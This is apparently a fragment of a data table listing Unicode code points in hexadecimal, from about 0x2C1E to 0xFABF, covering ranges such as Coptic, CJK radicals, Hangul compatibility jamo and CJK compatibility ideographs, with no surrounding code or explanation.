0x2C1E, - 0x2C1F, - 0x2C20, - 0x2C21, - 0x2C22, - 0x2C23, - 0x2C24, - 0x2C25, - 0x2C26, - 0x2C27, - 0x2C28, - 0x2C29, - 0x2C2A, - 0x2C2B, - 0x2C2C, - 0x2C2D, - 0x2C2E, - 0x2C2F, - 0x2C30, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C63, - 0x2C64, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C6E, - 0x2C6F, - 0x2C70, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7C, - 0x2C7D, - 0x2C7E, - 0x2C7F, - 0x2C80, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E5E, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2F01, - 0x2F02, - 0x2F03, - 0x2F04, - 0x2F05, - 0x2F06, - 0x2F07, - 0x2F08, - 0x2F09, - 0x2F0A, - 0x2F0B, - 0x2F0C, - 0x2F0D, - 0x2F0E, - 0x2F0F, - 0x2F10, - 0x2F11, - 0x2F12, - 0x2F13, - 0x2F14, - 0x2F15, - 0x2F16, - 0x2F17, - 0x2F18, - 0x2F19, - 0x2F1A, - 0x2F1B, - 0x2F1C, - 0x2F1D, - 0x2F1E, - 0x2F1F, - 0x2F20, - 0x2F21, - 0x2F22, - 0x2F23, - 0x2F24, - 0x2F25, - 0x2F26, - 0x2F27, - 0x2F28, - 0x2F29, - 0x2F2A, - 0x2F2B, - 0x2F2C, - 0x2F2D, - 0x2F2E, - 0x2F2F, - 0x2F30, - 0x2F31, - 0x2F32, - 0x2F33, - 0x2F34, - 0x2F35, - 0x2F36, - 0x2F37, - 0x2F38, - 0x2F39, - 0x2F3A, - 0x2F3B, - 0x2F3C, - 0x2F3D, - 0x2F3E, - 0x2F3F, - 0x2F40, - 0x2F41, - 0x2F42, - 0x2F43, - 0x2F44, - 0x2F45, - 0x2F46, - 0x2F47, - 0x2F48, - 0x2F49, - 0x2F4A, - 0x2F4B, - 0x2F4C, - 0x2F4D, - 0x2F4E, - 0x2F4F, - 0x2F50, - 0x2F51, - 0x2F52, - 0x2F53, - 0x2F54, - 0x2F55, - 0x2F56, - 0x2F57, - 0x2F58, - 0x2F59, - 0x2F5A, - 0x2F5B, - 0x2F5C, - 0x2F5D, - 0x2F5E, - 0x2F5F, - 0x2F60, - 0x2F61, - 0x2F62, - 0x2F63, - 0x2F64, - 0x2F65, - 0x2F66, - 0x2F67, - 0x2F68, - 0x2F69, - 0x2F6A, - 0x2F6B, - 0x2F6C, - 0x2F6D, - 0x2F6E, - 0x2F6F, - 0x2F70, - 0x2F71, - 0x2F72, - 0x2F73, - 0x2F74, - 0x2F75, - 0x2F76, - 0x2F77, - 0x2F78, - 0x2F79, - 0x2F7A, - 0x2F7B, - 0x2F7C, - 0x2F7D, - 0x2F7E, - 0x2F7F, - 0x2F80, - 0x2F81, - 0x2F82, - 0x2F83, - 0x2F84, - 0x2F85, - 0x2F86, - 0x2F87, - 0x2F88, - 0x2F89, - 0x2F8A, - 0x2F8B, - 0x2F8C, - 0x2F8D, - 0x2F8E, - 0x2F8F, - 0x2F90, - 0x2F91, - 0x2F92, - 0x2F93, - 0x2F94, - 0x2F95, - 0x2F96, - 0x2F97, - 0x2F98, - 0x2F99, - 0x2F9A, - 0x2F9B, - 0x2F9C, - 0x2F9D, - 0x2F9E, - 0x2F9F, - 0x2FA0, - 0x2FA1, - 0x2FA2, - 0x2FA3, - 0x2FA4, - 0x2FA5, - 0x2FA6, - 0x2FA7, - 0x2FA8, - 0x2FA9, - 0x2FAA, - 0x2FAB, - 0x2FAC, - 0x2FAD, - 0x2FAE, - 0x2FAF, - 0x2FB0, - 0x2FB1, - 0x2FB2, - 0x2FB3, - 0x2FB4, - 0x2FB5, - 0x2FB6, - 0x2FB7, - 0x2FB8, - 0x2FB9, - 0x2FBA, - 0x2FBB, - 0x2FBC, - 0x2FBD, - 0x2FBE, - 0x2FBF, - 0x2FC0, - 0x2FC1, - 0x2FC2, - 0x2FC3, - 0x2FC4, - 0x2FC5, - 0x2FC6, - 0x2FC7, - 0x2FC8, - 0x2FC9, - 0x2FCA, - 0x2FCB, - 0x2FCC, - 0x2FCD, - 0x2FCE, - 0x2FCF, - 0x2FD0, - 0x2FD1, - 0x2FD2, - 0x2FD3, - 0x2FD4, - 0x2FD5, - 0x2FD6, - 0x3000, - 0x3001, - 0x3002, - 0x3003, - 0x3036, - 0x3037, - 0x3038, - 0x3039, - 0x303A, - 0x303B, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309C, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3105, - 0x3130, - 0x3131, - 0x3132, - 0x3133, - 0x3134, - 0x3135, - 0x3136, - 0x3137, - 0x3138, - 0x3139, - 0x313A, - 0x313B, - 0x313C, - 0x313D, - 0x313E, - 0x313F, - 0x3140, - 0x3141, - 0x3142, - 0x3143, - 0x3144, - 0x3145, - 0x3146, - 0x3147, - 0x3148, - 0x3149, - 0x314A, - 0x314B, - 0x314C, - 0x314D, - 0x314E, - 0x314F, - 0x3150, - 0x3151, - 0x3152, - 0x3153, - 0x3154, - 0x3155, - 0x3156, - 0x3157, - 0x3158, - 0x3159, - 0x315A, - 0x315B, - 0x315C, - 0x315D, - 0x315E, - 0x315F, - 0x3160, - 0x3161, - 0x3162, - 0x3163, - 0x3164, - 0x3165, - 0x3166, - 0x3167, - 0x3168, - 0x3169, - 0x316A, - 0x316B, - 0x316C, - 0x316D, - 0x316E, - 0x316F, - 0x3170, - 0x3171, - 0x3172, - 0x3173, - 0x3174, - 0x3175, - 0x3176, - 0x3177, - 0x3178, - 0x3179, - 0x317A, - 0x317B, - 0x317C, - 0x317D, - 0x317E, - 0x317F, - 0x3180, - 0x3181, - 0x3182, - 0x3183, - 0x3184, - 0x3185, - 0x3186, - 0x3187, - 0x3188, - 0x3189, - 0x318A, - 0x318B, - 0x318C, - 0x318D, - 0x318E, - 0x318F, - 0x3190, - 0x3192, - 0x3193, - 0x3194, - 0x3195, - 0x3196, - 0x3197, - 0x3198, - 0x3199, - 0x319A, - 0x319B, - 0x319C, - 0x319D, - 0x319E, - 0x319F, - 0x31A0, - 0x31E6, - 0x31F0, - 0x3200, - 0x3201, - 0x3202, - 0x3203, - 0x3204, - 0x3205, - 0x3206, - 0x3207, - 0x3208, - 0x3209, - 0x320A, - 0x320B, - 0x320C, - 0x320D, - 0x320E, - 0x320F, - 0x3210, - 0x3211, - 0x3212, - 0x3213, - 0x3214, - 0x3215, - 0x3216, - 0x3217, - 0x3218, - 0x3219, - 0x321A, - 0x321B, - 0x321C, - 0x321D, - 0x321E, - 0x321F, - 0x3220, - 0x3221, - 0x3222, - 0x3223, - 0x3224, - 0x3225, - 0x3226, - 0x3227, - 0x3228, - 0x3229, - 0x322A, - 0x322B, - 0x322C, - 0x322D, - 0x322E, - 0x322F, - 0x3230, - 0x3231, - 0x3232, - 0x3233, - 0x3234, - 0x3235, - 0x3236, - 0x3237, - 0x3238, - 0x3239, - 0x323A, - 0x323B, - 0x323C, - 0x323D, - 0x323E, - 0x323F, - 0x3240, - 0x3241, - 0x3242, - 0x3243, - 0x3244, - 0x3245, - 0x3246, - 0x3247, - 0x3248, - 0x3250, - 0x3251, - 0x3252, - 0x3253, - 0x3254, - 0x3255, - 0x3256, - 0x3257, - 0x3258, - 0x3259, - 0x325A, - 0x325B, - 0x325C, - 0x325D, - 0x325E, - 0x325F, - 0x3260, - 0x3261, - 0x3262, - 0x3263, - 0x3264, - 0x3265, - 0x3266, - 0x3267, - 0x3268, - 0x3269, - 0x326A, - 0x326B, - 0x326C, - 0x326D, - 0x326E, - 0x326F, - 0x3270, - 0x3271, - 0x3272, - 0x3273, - 0x3274, - 0x3275, - 0x3276, - 0x3277, - 0x3278, - 0x3279, - 0x327A, - 0x327B, - 0x327C, - 0x327D, - 0x327E, - 0x327F, - 0x3280, - 0x3281, - 0x3282, - 0x3283, - 0x3284, - 0x3285, - 0x3286, - 0x3287, - 0x3288, - 0x3289, - 0x328A, - 0x328B, - 0x328C, - 0x328D, - 0x328E, - 0x328F, - 0x3290, - 0x3291, - 0x3292, - 0x3293, - 0x3294, - 0x3295, - 0x3296, - 0x3297, - 0x3298, - 0x3299, - 0x329A, - 0x329B, - 0x329C, - 0x329D, - 0x329E, - 0x329F, - 0x32A0, - 0x32A1, - 0x32A2, - 0x32A3, - 0x32A4, - 0x32A5, - 0x32A6, - 0x32A7, - 0x32A8, - 0x32A9, - 0x32AA, - 0x32AB, - 0x32AC, - 0x32AD, - 0x32AE, - 0x32AF, - 0x32B0, - 0x32B1, - 0x32B2, - 0x32B3, - 0x32B4, - 0x32B5, - 0x32B6, - 0x32B7, - 0x32B8, - 0x32B9, - 0x32BA, - 0x32BB, - 0x32BC, - 0x32BD, - 0x32BE, - 0x32BF, - 0x32C0, - 0x32C1, - 0x32C2, - 0x32C3, - 0x32C4, - 0x32C5, - 0x32C6, - 0x32C7, - 0x32C8, - 0x32C9, - 0x32CA, - 0x32CB, - 0x32CC, - 0x32CD, - 0x32CE, - 0x32CF, - 0x32D0, - 0x32D1, - 0x32D2, - 0x32D3, - 0x32D4, - 0x32D5, - 0x32D6, - 0x32D7, - 0x32D8, - 0x32D9, - 0x32DA, - 0x32DB, - 0x32DC, - 0x32DD, - 0x32DE, - 0x32DF, - 0x32E0, - 0x32E1, - 0x32E2, - 0x32E3, - 0x32E4, - 0x32E5, - 0x32E6, - 0x32E7, - 0x32E8, - 0x32E9, - 0x32EA, - 0x32EB, - 0x32EC, - 0x32ED, - 0x32EE, - 0x32EF, - 0x32F0, - 0x32F1, - 0x32F2, - 0x32F3, - 0x32F4, - 0x32F5, - 0x32F6, - 0x32F7, - 0x32F8, - 0x32F9, - 0x32FA, - 0x32FB, - 0x32FC, - 0x32FD, - 0x32FE, - 0x32FF, - 0x3300, - 0x3301, - 0x3302, - 0x3303, - 0x3304, - 0x3305, - 0x3306, - 0x3307, - 0x3308, - 0x3309, - 0x330A, - 0x330B, - 0x330C, - 0x330D, - 0x330E, - 0x330F, - 0x3310, - 0x3311, - 0x3312, - 0x3313, - 0x3314, - 0x3315, - 0x3316, - 0x3317, - 0x3318, - 0x3319, - 0x331A, - 0x331B, - 0x331C, - 0x331D, - 0x331E, - 0x331F, - 0x3320, - 0x3321, - 0x3322, - 0x3323, - 0x3324, - 0x3325, - 0x3326, - 0x3327, - 0x3328, - 0x3329, - 0x332A, - 0x332B, - 0x332C, - 0x332D, - 0x332E, - 0x332F, - 0x3330, - 0x3331, - 0x3332, - 0x3333, - 0x3334, - 0x3335, - 0x3336, - 0x3337, - 0x3338, - 0x3339, - 0x333A, - 0x333B, - 0x333C, - 0x333D, - 0x333E, - 0x333F, - 0x3340, - 0x3341, - 0x3342, - 0x3343, - 0x3344, - 0x3345, - 0x3346, - 0x3347, - 0x3348, - 0x3349, - 0x334A, - 0x334B, - 0x334C, - 0x334D, - 0x334E, - 0x334F, - 0x3350, - 0x3351, - 0x3352, - 0x3353, - 0x3354, - 0x3355, - 0x3356, - 0x3357, - 0x3358, - 0x3359, - 0x335A, - 0x335B, - 0x335C, - 0x335D, - 0x335E, - 0x335F, - 0x3360, - 0x3361, - 0x3362, - 0x3363, - 0x3364, - 0x3365, - 0x3366, - 0x3367, - 0x3368, - 0x3369, - 0x336A, - 0x336B, - 0x336C, - 0x336D, - 0x336E, - 0x336F, - 0x3370, - 0x3371, - 0x3372, - 0x3373, - 0x3374, - 0x3375, - 0x3376, - 0x3377, - 0x3378, - 0x3379, - 0x337A, - 0x337B, - 0x337C, - 0x337D, - 0x337E, - 0x337F, - 0x3380, - 0x3381, - 0x3382, - 0x3383, - 0x3384, - 0x3385, - 0x3386, - 0x3387, - 0x3388, - 0x3389, - 0x338A, - 0x338B, - 0x338C, - 0x338D, - 0x338E, - 0x338F, - 0x3390, - 0x3391, - 0x3392, - 0x3393, - 0x3394, - 0x3395, - 0x3396, - 0x3397, - 0x3398, - 0x3399, - 0x339A, - 0x339B, - 0x339C, - 0x339D, - 0x339E, - 0x339F, - 0x33A0, - 0x33A1, - 0x33A2, - 0x33A3, - 0x33A4, - 0x33A5, - 0x33A6, - 0x33A7, - 0x33A8, - 0x33A9, - 0x33AA, - 0x33AB, - 0x33AC, - 0x33AD, - 0x33AE, - 0x33AF, - 0x33B0, - 0x33B1, - 0x33B2, - 0x33B3, - 0x33B4, - 0x33B5, - 0x33B6, - 0x33B7, - 0x33B8, - 0x33B9, - 0x33BA, - 0x33BB, - 0x33BC, - 0x33BD, - 0x33BE, - 0x33BF, - 0x33C0, - 0x33C1, - 0x33C2, - 0x33C3, - 0x33C4, - 0x33C5, - 0x33C6, - 0x33C7, - 0x33C8, - 0x33C9, - 0x33CA, - 0x33CB, - 0x33CC, - 0x33CD, - 0x33CE, - 0x33CF, - 0x33D0, - 0x33D1, - 0x33D2, - 0x33D3, - 0x33D4, - 0x33D5, - 0x33D6, - 0x33D7, - 0x33D8, - 0x33D9, - 0x33DA, - 0x33DB, - 0x33DC, - 0x33DD, - 0x33DE, - 0x33DF, - 0x33E0, - 0x33E1, - 0x33E2, - 0x33E3, - 0x33E4, - 0x33E5, - 0x33E6, - 0x33E7, - 0x33E8, - 0x33E9, - 0x33EA, - 0x33EB, - 0x33EC, - 0x33ED, - 0x33EE, - 0x33EF, - 0x33F0, - 0x33F1, - 0x33F2, - 0x33F3, - 0x33F4, - 0x33F5, - 0x33F6, - 0x33F7, - 0x33F8, - 0x33F9, - 0x33FA, - 0x33FB, - 0x33FC, - 0x33FD, - 0x33FE, - 0x33FF, - 0x3400, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA69D, - 0xA69E, - 0xA6F8, - 0xA700, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA771, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77E, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AB, - 0xA7AC, - 0xA7AD, - 0xA7AE, - 0xA7AF, - 0xA7B0, - 0xA7B1, - 0xA7B2, - 0xA7B3, - 0xA7B4, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xA7B9, - 0xA7BA, - 0xA7BB, - 0xA7BC, - 0xA7BD, - 0xA7BE, - 0xA7BF, - 0xA7C0, - 0xA7C1, - 0xA7C2, - 0xA7C3, - 0xA7C4, - 0xA7C5, - 0xA7C6, - 0xA7C7, - 0xA7C8, - 0xA7C9, - 0xA7CA, - 0xA7CB, - 0xA7CC, - 0xA7CD, - 0xA7CE, - 0xA7CF, - 0xA7D0, - 0xA7D1, - 0xA7D2, - 0xA7D3, - 0xA7D4, - 0xA7D5, - 0xA7D6, - 0xA7D7, - 0xA7D8, - 0xA7D9, - 0xA7DA, - 0xA7DB, - 0xA7DC, - 0xA7DD, - 0xA7F1, - 0xA7F2, - 0xA7F3, - 0xA7F4, - 0xA7F5, - 0xA7F6, - 0xA7F8, - 0xA7F9, - 0xA7FA, - 0xA82D, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5C, - 0xAB5D, - 0xAB5E, - 0xAB5F, - 0xAB60, - 0xAB69, - 0xAB6A, - 0xAB6C, - 0xAB70, - 0xAB71, - 0xAB72, - 0xAB73, - 0xAB74, - 0xAB75, - 0xAB76, - 0xAB77, - 0xAB78, - 0xAB79, - 0xAB7A, - 0xAB7B, - 0xAB7C, - 0xAB7D, - 0xAB7E, - 0xAB7F, - 0xAB80, - 0xAB81, - 0xAB82, - 0xAB83, - 0xAB84, - 0xAB85, - 0xAB86, - 0xAB87, - 0xAB88, - 0xAB89, - 0xAB8A, - 0xAB8B, - 0xAB8C, - 0xAB8D, - 0xAB8E, - 0xAB8F, - 0xAB90, - 0xAB91, - 0xAB92, - 0xAB93, - 0xAB94, - 0xAB95, - 0xAB96, - 0xAB97, - 0xAB98, - 0xAB99, - 0xAB9A, - 0xAB9B, - 0xAB9C, - 0xAB9D, - 0xAB9E, - 0xAB9F, - 0xABA0, - 0xABA1, - 0xABA2, - 0xABA3, - 0xABA4, - 0xABA5, - 0xABA6, - 0xABA7, - 0xABA8, - 0xABA9, - 0xABAA, - 0xABAB, - 0xABAC, - 0xABAD, - 0xABAE, - 0xABAF, - 0xABB0, - 0xABB1, - 0xABB2, - 0xABB3, - 0xABB4, - 0xABB5, - 0xABB6, - 0xABB7, - 0xABB8, - 0xABB9, - 0xABBA, - 0xABBB, - 0xABBC, - 0xABBD, - 0xABBE, - 0xABBF, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xF901, - 0xF902, - 0xF903, - 0xF904, - 0xF905, - 0xF906, - 0xF907, - 0xF909, - 0xF90A, - 0xF90B, - 0xF90C, - 0xF90D, - 0xF90E, - 0xF90F, - 0xF910, - 0xF911, - 0xF912, - 0xF913, - 0xF914, - 0xF915, - 0xF916, - 0xF917, - 0xF918, - 0xF919, - 0xF91A, - 0xF91B, - 0xF91C, - 0xF91D, - 0xF91E, - 0xF91F, - 0xF920, - 0xF921, - 0xF922, - 0xF923, - 0xF924, - 0xF925, - 0xF926, - 0xF927, - 0xF928, - 0xF929, - 0xF92A, - 0xF92B, - 0xF92C, - 0xF92D, - 0xF92E, - 0xF92F, - 0xF930, - 0xF931, - 0xF932, - 0xF933, - 0xF934, - 0xF935, - 0xF936, - 0xF937, - 0xF938, - 0xF939, - 0xF93A, - 0xF93B, - 0xF93C, - 0xF93D, - 0xF93E, - 0xF93F, - 0xF940, - 0xF941, - 0xF942, - 0xF943, - 0xF944, - 0xF945, - 0xF946, - 0xF947, - 0xF948, - 0xF949, - 0xF94A, - 0xF94B, - 0xF94C, - 0xF94D, - 0xF94E, - 0xF94F, - 0xF950, - 0xF951, - 0xF952, - 0xF953, - 0xF954, - 0xF955, - 0xF956, - 0xF957, - 0xF958, - 0xF959, - 0xF95A, - 0xF95B, - 0xF95C, - 0xF95D, - 0xF95E, - 0xF95F, - 0xF960, - 0xF961, - 0xF962, - 0xF963, - 0xF964, - 0xF965, - 0xF966, - 0xF967, - 0xF968, - 0xF969, - 0xF96A, - 0xF96B, - 0xF96C, - 0xF96D, - 0xF96E, - 0xF96F, - 0xF970, - 0xF971, - 0xF972, - 0xF973, - 0xF974, - 0xF975, - 0xF976, - 0xF977, - 0xF978, - 0xF979, - 0xF97A, - 0xF97B, - 0xF97C, - 0xF97D, - 0xF97E, - 0xF97F, - 0xF980, - 0xF981, - 0xF982, - 0xF983, - 0xF984, - 0xF985, - 0xF986, - 0xF987, - 0xF988, - 0xF989, - 0xF98A, - 0xF98B, - 0xF98C, - 0xF98D, - 0xF98E, - 0xF98F, - 0xF990, - 0xF991, - 0xF992, - 0xF993, - 0xF994, - 0xF995, - 0xF996, - 0xF997, - 0xF998, - 0xF999, - 0xF99A, - 0xF99B, - 0xF99C, - 0xF99D, - 0xF99E, - 0xF99F, - 0xF9A0, - 0xF9A1, - 0xF9A2, - 0xF9A3, - 0xF9A4, - 0xF9A5, - 0xF9A6, - 0xF9A7, - 0xF9A8, - 0xF9A9, - 0xF9AA, - 0xF9AB, - 0xF9AC, - 0xF9AD, - 0xF9AE, - 0xF9AF, - 0xF9B0, - 0xF9B1, - 0xF9B2, - 0xF9B3, - 0xF9B4, - 0xF9B5, - 0xF9B6, - 0xF9B7, - 0xF9B8, - 0xF9B9, - 0xF9BA, - 0xF9BB, - 0xF9BC, - 0xF9BD, - 0xF9BE, - 0xF9BF, - 0xF9C0, - 0xF9C1, - 0xF9C2, - 0xF9C3, - 0xF9C4, - 0xF9C5, - 0xF9C6, - 0xF9C7, - 0xF9C8, - 0xF9C9, - 0xF9CA, - 0xF9CB, - 0xF9CC, - 0xF9CD, - 0xF9CE, - 0xF9CF, - 0xF9D0, - 0xF9D1, - 0xF9D2, - 0xF9D3, - 0xF9D4, - 0xF9D5, - 0xF9D6, - 0xF9D7, - 0xF9D8, - 0xF9D9, - 0xF9DA, - 0xF9DB, - 0xF9DC, - 0xF9DD, - 0xF9DE, - 0xF9DF, - 0xF9E0, - 0xF9E1, - 0xF9E2, - 0xF9E3, - 0xF9E4, - 0xF9E5, - 0xF9E6, - 0xF9E7, - 0xF9E8, - 0xF9E9, - 0xF9EA, - 0xF9EB, - 0xF9EC, - 0xF9ED, - 0xF9EE, - 0xF9EF, - 0xF9F0, - 0xF9F1, - 0xF9F2, - 0xF9F3, - 0xF9F4, - 0xF9F5, - 0xF9F6, - 0xF9F7, - 0xF9F8, - 0xF9F9, - 0xF9FA, - 0xF9FB, - 0xF9FC, - 0xF9FD, - 0xF9FE, - 0xF9FF, - 0xFA00, - 0xFA01, - 0xFA02, - 0xFA03, - 0xFA04, - 0xFA05, - 0xFA06, - 0xFA07, - 0xFA08, - 0xFA09, - 0xFA0A, - 0xFA0B, - 0xFA0C, - 0xFA0D, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA16, - 0xFA17, - 0xFA18, - 0xFA19, - 0xFA1A, - 0xFA1B, - 0xFA1C, - 0xFA1D, - 0xFA1E, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA26, - 0xFA27, - 0xFA2A, - 0xFA2B, - 0xFA2C, - 0xFA2D, - 0xFA2E, - 0xFA2F, - 0xFA30, - 0xFA31, - 0xFA32, - 0xFA33, - 0xFA34, - 0xFA35, - 0xFA36, - 0xFA37, - 0xFA38, - 0xFA39, - 0xFA3A, - 0xFA3B, - 0xFA3C, - 0xFA3D, - 0xFA3E, - 0xFA3F, - 0xFA40, - 0xFA41, - 0xFA42, - 0xFA43, - 0xFA44, - 0xFA45, - 0xFA46, - 0xFA47, - 0xFA48, - 0xFA49, - 0xFA4A, - 0xFA4B, - 0xFA4C, - 0xFA4D, - 0xFA4E, - 0xFA4F, - 0xFA50, - 0xFA51, - 0xFA52, - 0xFA53, - 0xFA54, - 0xFA55, - 0xFA56, - 0xFA57, - 0xFA58, - 0xFA59, - 0xFA5A, - 0xFA5B, - 0xFA5C, - 0xFA5D, - 0xFA5F, - 0xFA60, - 0xFA61, - 0xFA62, - 0xFA63, - 0xFA64, - 0xFA65, - 0xFA66, - 0xFA67, - 0xFA68, - 0xFA69, - 0xFA6A, - 0xFA6B, - 0xFA6C, - 0xFA6D, - 0xFA6E, - 0xFA70, - 0xFA71, - 0xFA72, - 0xFA73, - 0xFA74, - 0xFA75, - 0xFA76, - 0xFA77, - 0xFA78, - 0xFA79, - 0xFA7A, - 0xFA7B, - 0xFA7C, - 0xFA7D, - 0xFA7E, - 0xFA7F, - 0xFA80, - 0xFA81, - 0xFA82, - 0xFA83, - 0xFA84, - 0xFA85, - 0xFA86, - 0xFA87, - 0xFA88, - 0xFA89, - 0xFA8A, - 0xFA8B, - 0xFA8C, - 0xFA8D, - 0xFA8E, - 0xFA8F, - 0xFA90, - 0xFA91, - 0xFA92, - 0xFA93, - 0xFA94, - 0xFA95, - 0xFA96, - 0xFA97, - 0xFA98, - 0xFA99, - 0xFA9A, - 0xFA9B, - 0xFA9C, - 0xFA9D, - 0xFA9E, - 0xFA9F, - 0xFAA0, - 0xFAA1, - 0xFAA2, - 0xFAA3, - 0xFAA4, - 0xFAA5, - 0xFAA6, - 0xFAA7, - 0xFAA8, - 0xFAA9, - 0xFAAA, - 0xFAAB, - 0xFAAC, - 0xFAAD, - 0xFAAE, - 0xFAAF, - 0xFAB0, - 0xFAB1, - 0xFAB2, - 0xFAB3, - 0xFAB4, - 0xFAB5, - 0xFAB6, - 0xFAB7, - 0xFAB8, - 0xFAB9, - 0xFABA, - 0xFABB, - 0xFABC, - 0xFABD, - 0xFABE, - 0xFABF, - 